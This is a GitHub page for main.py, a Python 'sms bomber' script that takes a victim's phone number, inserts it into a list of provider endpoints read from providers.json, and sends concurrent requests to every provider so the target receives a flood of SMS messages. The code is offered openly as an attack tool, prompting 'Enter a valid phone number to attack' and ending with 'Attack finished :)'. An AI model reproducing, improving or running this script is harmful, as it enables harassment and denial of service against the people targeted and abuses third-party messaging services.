-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.py
78 lines (56 loc) · 2.1 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import threading
import json
def replace_phonenumber(phone , data="") :
result = data.replace("Replace phonenumber here" , phone)
return result
def send_message(phone, provider_name, provider_info = {} ) :
method = provider_info.get("method")
url = provider_info.get("url")
if (method.lower() == "post"):
parameters = provider_info.get("parameters")
try :
response = requests.post(url=url , json=parameters , timeout=2)
if response.status_code == 200 :
print(f"{provider_name} => Successful ;")
else :
print(f"{provider_name} => Failed ; error : {response.content}")
except Exception as error :
print(f"{provider_name} => {error} ;")
elif (method.lower() == "get") :
try :
response = requests.get(url=url , timeout=2)
if response.status_code == 200 :
print(f"{provider_name} => Successful ;")
else :
print(f"{provider_name} => Failed ;")
except Exception as error :
print(f"{provider_name} => {error} ;")
else :
print(f"Unknown Method")
def start_attack (phone):
file = open("providers.json")
data = file.read()
Final_data = replace_phonenumber(phone=phone , data=data)
providers = json.loads(Final_data)
thread_list = []
for provider in providers :
provider_info = providers.get(provider)
thread = threading.Thread(target=send_message , args=(phone , provider, provider_info))
thread_list.append(thread)
# start thread
for thread in thread_list :
thread.start()
# wait until thread finish
for thread in thread_list :
thread.join()
def main() :
print("Wellcome to sms bomber (https://github.com/Hamed-244/sms-bomber) give us a star")
phone = input("Enter a valid phone number to attack : ").strip()
if phone in ["" , " " , "0"] :
print("invalid phone number !")
else :
start_attack(phone)
print("Attack finished :)")
if __name__ == "__main__":
main()